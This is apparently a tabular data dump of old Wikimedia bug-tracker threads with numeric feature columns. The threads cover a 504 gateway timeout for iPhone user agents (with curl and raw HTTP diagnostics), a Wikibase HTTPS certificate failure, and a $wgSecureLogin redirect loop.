<head><title>504 Gateway Time-out</title></head>
<body bgcolor=""white"">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/0.7.65</center>
</body>
</html>
* Connection #0 to host www.wikipedia.org left intact
* Closing connection #0

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=36601",Medium,50.0,1350678600,1392408741.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-6niv2uripvn5aodbb53o,task_description,resolved,True,c2,1,False,False,False,-45,True,0.0,0.0,0.0,0.0,8.066666666666666,16.533333333333335,0.0,0.0,0.0,0.0,0.0,0.13333333333333333,0.0,0.0,0.0,0.0,0.06666666666666667,8.2,0.4666666666666667,0.0,0.13333333333333333,0.0,0.0,0.06666666666666667,0.06666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.06666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.06666666666666667,0.4,0.0,0.0,0.0,0.0,0.0,17.533333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.466666666666667,0.0,0.06666666666666667,0.0,0.0,0.0,0.0,0.26666666666666666,0.26666666666666666,0.0,17.133333333333333,0.0,0.0,0.4666666666666667,2.0,0.0,0.2,0.0,0.0,0.2,0.0,0.0,0.0,0.13333333333333333,0.0,0.0,1.8,4.1076969018290415,0.1601866368047779,"$ curl -v -H 'User-Agent: iPhone' URL
* About to connect() to www.wikipedia.org port 80 (#0)
*   Trying 2620:0:861:ed1a::1...
* connected
* Connected to www.wikipedia.org (2620:0:861:ed1a::1) port 80 (#0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 504 Gateway Time-out
< Server: nginx/0.7.65
< Date: Fri, 19 Oct 2012 20:29:48 GMT
< Content-Type: text/html
< Content-Length: 183
< Connection: keep-alive
< 
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor=""white"">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/0.7.65</center>
</body>
</html>
* Connection #0 to host www.wikipedia.org left intact
* Closing connection #0

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
197141,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,Can't reproduce; I get HTTP/1.1 301 Moved Permanently.,,,1392408741,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,3,False,,,24,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,Can't reproduce; I get HTTP/1.1 301 Moved Permanently.
197135,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,"Sorry it indeed was a syntax error.
When I do curl -v -H 'User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3' http://www.wikipedia.org/wiki/

I do indeed get no response

By invalid I had merely hazarded a guess that the servers had not had the user agent 'iPhone' in mind but since the above user agent doesn't work either this is not it, I'm well aware they can be any arbitrary string. I should have double checked my syntax to avoid confusion on the bug thread. Sorry for that.",,,1350752719,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,1,False,,,-45,True,1.0,0.0,0.0,0.0,2.5,3.0,1.5,0.0,0.0,0.0,1.0,4.5,0.0,0.5,0.0,4.0,0.0,6.0,6.5,0.0,1.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,3.5,1.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,15.0,1.5,0.0,0.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,4.5,2.0,13.0,2.0,2.0,7.5,0.0,0.0,0.0,0.0,4.5,1.5,0.0,0.0,6.0,6.5,5.5,0.0,2.5,0.0,6.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.5,3.6557377049180326,0.8114754098360656,"Sorry it indeed was a syntax error.
When I do curl -v -H 'User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3' URL

I do indeed get no response

By invalid I had merely hazarded a guess that the servers had not had the user agent 'iPhone' in mind but since the above user agent doesn't work either this is not it, I'm well aware they can be any arbitrary string. I should have double checked my syntax to avoid confusion on the bug thread. Sorry for that."
197128,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,"(In reply to comment #2)
> curl -v H 'User Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en)
> AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3'
> http://www.wikipedia.org/wiki/ works fine for me
> 
> Is it because the user agent is invalid?

I don't know what are you referring to with ""invalid"". ""User Agent:"" is not valid. The correct header is ""User-Agent:"". And the value for that header can be any arbitrary string, so there's apparently no valid/invalid value for that

http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.43

Even with your suggested value for user-agent, there's no response. You can test this with any telnet client (preferably not the native telnet command of Windows, use PuTTY instead in RAW mode), connecting to www.wikipedia.org on port 80 and sending the following lines of text (with 2 empty newlines at the end):

GET /wiki/ HTTP/1.1
Host: www.wikipedia.org
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3",,,1350752265,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,1,True,,,-45,True,1.0,0.0,0.0,0.0,1.5,4.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.5,0.5,3.5,10.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,1.0,0.0,1.5,1.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,2.5,2.0,19.5,0.5,1.5,6.0,0.0,0.0,0.0,0.5,2.0,0.0,1.5,0.0,2.0,10.0,11.0,0.0,3.0,0.0,2.0,1.0,0.5,0.0,0.0,2.0,0.0,0.0,0.5,3.693548387096774,0.6935483870967742,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I don't know what are you referring to with ""invalid"". ""User Agent:"" is not valid. The correct header is ""User-Agent:"". And the value for that header can be any arbitrary string, so there's apparently no valid/invalid value for that

URL

Even with your suggested value for user-agent, there's no response. You can test this with any telnet client (preferably not the native telnet command of Windows, use PuTTY instead in RAW mode), connecting to www.wikipedia.org on port 80 and sending the following lines of text (with 2 empty newlines at the end):

GET /wiki/ HTTP/1.1
Host: www.wikipedia.org
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3"
197120,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,"curl -v H 'User Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3' http://www.wikipedia.org/wiki/ works fine for me

Is it because the user agent is invalid?",,,1350751611,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,1,False,,,-45,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,35.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,25.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.7083333333333335,0.875,"curl -v H 'User Agent: Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3' URL works fine for me

Is it because the user agent is invalid?"
197113,HTTP/1.1 504 Gateway Time-out on http://www.wikipedia.org/wiki/ when 'User-Agent: iPhone' is set,I can confirm this happening with not just iPhone but also Android. This issue is upstream of Mobile Front end as MF doesn't serve this URL,,,1350693196,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-6niv2uripvn5aodbb53o,task_subcomment,,True,c2,1,False,,,-45,True,0.0,0.0,0.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,25.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,18.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.071428571428571,0.9642857142857143,I can confirm this happening with not just iPhone but also Android. This issue is upstream of Mobile Front end as MF doesn't serve this URL
42701,Utils::insertDefaultSites sometimes fails when using https,"Reportedly, Idf0a6547 causes insertDefaultSites to fail with an error:

""Warning: Invalid argument supplied for foreach() in /Library/WebServer/Documents/wikidata-repo/extensions/Wikibase/lib/includes/Utils.php on line 88""

I was not able to reproduce this, but to allow for easier investigation of the issue, I have submitted changes that report more meaningful errors on failure: Iab7e750e for Wikibase and Iad3995a6 for core. If you experience the problem described above, please patch these in and report your findings.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1349175660,1378479792.0,PHID-USER-5dqihbanu3caaj7pigif,False,,False,PHID-TASK-bit4rhpzmwvp22cigbsm,task_description,resolved,True,c2,1,False,False,True,-48,True,0.0,0.0,0.0,0.0,0.5,4.0,0.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,2.5,9.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,3.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,10.5,0.5,1.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.5,10.5,1.0,2.0,3.5,0.0,0.0,0.0,0.0,3.0,1.0,0.5,0.0,3.0,9.0,5.5,0.0,1.0,0.0,3.0,0.0,1.0,0.5,0.0,0.0,1.5,0.0,0.0,4.408333333333333,0.75,"Reportedly, Idf0a6547 causes insertDefaultSites to fail with an error:

""Warning: Invalid argument supplied for foreach() in /Library/WebServer/Documents/wikidata-repo/extensions/Wikibase/lib/includes/Utils.php on line 88""

I was not able to reproduce this, but to allow for easier investigation of the issue, I have submitted changes that report more meaningful errors on failure: Iab7e750e for Wikibase and Iad3995a6 for core. If you experience the problem described above, please patch these in and report your findings.

--------------------------
**Version**: unspecified
**Severity**: normal"
190806,Utils::insertDefaultSites sometimes fails when using https,"The problem seems to be cause by CRUL not trusting any SSL CA by default on some systems:

http://unitstep.net/blog/2009/05/05/using-curl-in-php-to-access-https-ssltls-protected-sites/

We may need a configuration setting to allow people to disable the ""HTTPS per default"" behavior.",,,1349176029,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-bit4rhpzmwvp22cigbsm,task_subcomment,,True,c2,1,False,,,-48,True,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,17.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,17.0,10.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.902439024390244,0.8536585365853658,"The problem seems to be cause by CRUL not trusting any SSL CA by default on some systems:

URL

We may need a configuration setting to allow people to disable the ""HTTPS per default"" behavior."
42679,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"When $wgServer has a scheme, i.e., it is not protocol-relative, which happens to be the default, wfExpandUrl( ..., PROTO_HTTPS ) will give an HTTP link. This causes ResourceLoader content to be loaded over an insecure connection. It also causes redirect loops when redirecting to HTTPS using wfExpandUrl.

--------------------------
**Version**: 1.20.x
**Severity**: major",Medium,50.0,1349134200,1355451043.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_description,resolved,True,c2,1,False,False,True,-48,True,0.0,0.0,0.0,1.0,1.0,4.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,12.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,5.0,4.0,0.0,0.0,0.0,3.0,0.0,4.0,4.0,0.0,3.0,0.0,0.0,1.0,4.207792207792208,0.7272727272727273,"When $wgServer has a scheme, i.e., it is not protocol-relative, which happens to be the default, wfExpandUrl( ..., PROTO_HTTPS ) will give an HTTP link. This causes ResourceLoader content to be loaded over an insecure connection. It also causes redirect loops when redirecting to HTTPS using wfExpandUrl.

--------------------------
**Version**: 1.20.x
**Severity**: major"
189718,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"IMHO, the best way to do it would be for $wgServer to not be a URI, but instead just be a host name. Because when somebody enables $wgSecureLogin it's not that far a leap to assume they want HTTPS.",,,1349811496,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-47,True,0.0,2.0,0.0,0.0,4.0,4.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,11.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,9.0,7.0,9.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,2.0,7.0,0.0,0.0,0.0,4.0,0.0,3.4565217391304346,0.7608695652173914,"IMHO, the best way to do it would be for $wgServer to not be a URI, but instead just be a host name. Because when somebody enables $wgSecureLogin it's not that far a leap to assume they want HTTPS."
189715,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"I should have spoken up sooner on Krinkle's suggestion about disabling $wgSecureLogin. It feels wrong to me to opt for the less secure option if there's a conflict.

But like I put in the comments on gerrit 27136, if this is the best solution we can do it. I'd much rather have the exceptions be insecure than have people afraid to enable $wgSecureLogin in general.",,,1349811300,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-47,True,1.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,1.0,7.0,0.0,5.0,17.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,8.0,3.0,1.0,8.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,0.0,9.0,17.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,1.0,1.0,1.0,3.0,1.0,0.0,3.973684210526316,0.7631578947368421,"I should have spoken up sooner on Krinkle's suggestion about disabling $wgSecureLogin. It feels wrong to me to opt for the less secure option if there's a conflict.

But like I put in the comments on gerrit 27136, if this is the best solution we can do it. I'd much rather have the exceptions be insecure than have people afraid to enable $wgSecureLogin in general."
189710,http $wgServer with $wgSecureLogin should not infinitely self-redirect,https://gerrit.wikimedia.org/r/27136,,,1349670132,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-47,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
189704,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"There should also really be something in the installer asking whether HTTPS is supported, that way $wgServer can be made protocol-relative by default if the administrator knows beforehand.",,,1349227146,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,False,,,-47,True,0.0,3.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,6.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.878787878787879,0.9393939393939394,"There should also really be something in the installer asking whether HTTPS is supported, that way $wgServer can be made protocol-relative by default if the administrator knows beforehand."
189695,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #20)
> (In reply to comment #19)
> > 2 is a bug, yes. I wonder how that happens. Where does MediaWiki produce a
> > redirect to HTTPS if server includes http://? That should be impossible.
> 
> The change in
> https://gerrit.wikimedia.org/r/#/c/25530/1/includes/specials/SpecialUserlogin.php
> on line 152 is what does the redirect. It redirects to the output of
> wfExpandUrl with PROTO_HTTPS passed in. Since wfExpandUrl returns an http link,
> the page keeps redirecting.
> 

Interesting, yeah, I can see how that fails. I was thinking it would redirect in a loop between http and https, but that didn't make sense.

I suppose we could check the protocol in $wgServer in Setup.php and disable $wgSecureLogin accordingly.

Either that, or throw an exception. I think we normally do silent failures for configs, which would be fine. Though I could also understand an exception, as it is consistent (e.g. not like you change config, site looks fine, and then later it starts throwing exceptions).",,,1349222487,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5ck4jv4dtsufpjd3yyr6,task_subcomment,,True,c2,1,True,,,-47,True,0.0,0.0,0.0,0.0,1.0,3.5,1.5,0.0,0.5,0.0,4.0,0.5,0.0,0.0,0.0,4.0,0.0,7.0,7.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.5,1.0,0.0,5.5,4.0,2.0,1.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.5,2.0,0.0,1.5,0.0,0.0,0.0,7.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,1.5,0.0,0.0,0.5,2.5,2.0,11.0,2.0,3.0,4.0,0.0,0.0,0.0,0.5,4.5,0.5,0.5,0.0,7.0,7.0,6.0,0.0,0.0,0.0,7.0,0.0,1.0,2.0,0.0,1.0,0.5,0.0,0.0,3.769607843137255,0.7085464620630861,"(In reply to comment #20)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Interesting, yeah, I can see how that fails. I was thinking it would redirect in a loop between http and https, but that didn't make sense.

I suppose we could check the protocol in $wgServer in Setup.php and disable $wgSecureLogin accordingly.

Either that, or throw an exception. I think we normally do silent failures for configs, which would be fine. Though I could also understand an exception, as it is consistent (e.g. not like you change config, site looks fine, and then later it starts throwing exceptions)."
189688,http $wgServer with $wgSecureLogin should not infinitely self-redirect,"(In reply to comment #19)
> 2 is a bug, yes. I wonder how that happens. Where does MediaWiki produce a
> redirect to HTTPS if server includes http://? That should be impossible.

The change in https://gerrit.wikimedia.org/r/#/c/25530/1/includes/specials/SpecialUserlogin.php on line 152 is what does the redirect. It redirects to the output of wfExpandUrl with PROTO_HTTPS passed in. Since wfExpandUrl returns an http link, the page keeps redirecting.


(In reply to comment #18)
> This is imho not a bug. It is expected (and imho acceptable) behaviour.

